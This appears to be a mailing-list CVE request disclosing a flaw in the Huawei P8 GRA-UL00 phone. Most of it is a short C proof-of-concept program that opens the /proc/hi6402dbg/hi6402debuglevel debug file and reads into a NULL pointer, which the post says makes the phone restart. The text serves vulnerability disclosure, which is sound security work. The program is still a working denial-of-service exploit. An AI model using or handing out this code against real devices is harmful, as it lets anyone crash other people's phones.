CVE request-HUAWEI P8 GRA-UL00

[郭永刚 <guoyonggang () 360 cn>]

Code below will lead P8 restart :

#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>

int main(void)
{
  int ret;
  int fd;
  void *p = NULL;

  fd = open("/proc/hi6402dbg/hi6402debuglevel", O_RDONLY);
  if(fd == -1)    {
         printf("[-] Open failed (%d - %s)\n", errno, strerror(errno));
         return -1;
  }
  printf("Open successfully\n");

  p = (void *)0;
  ret = read(fd, p, 4);
  if(ret == -1)   {
         printf("[-]failed (%d - %s)\n", errno, strerror(errno));
         return -1;
  }

  close(fd);
  return 0;
}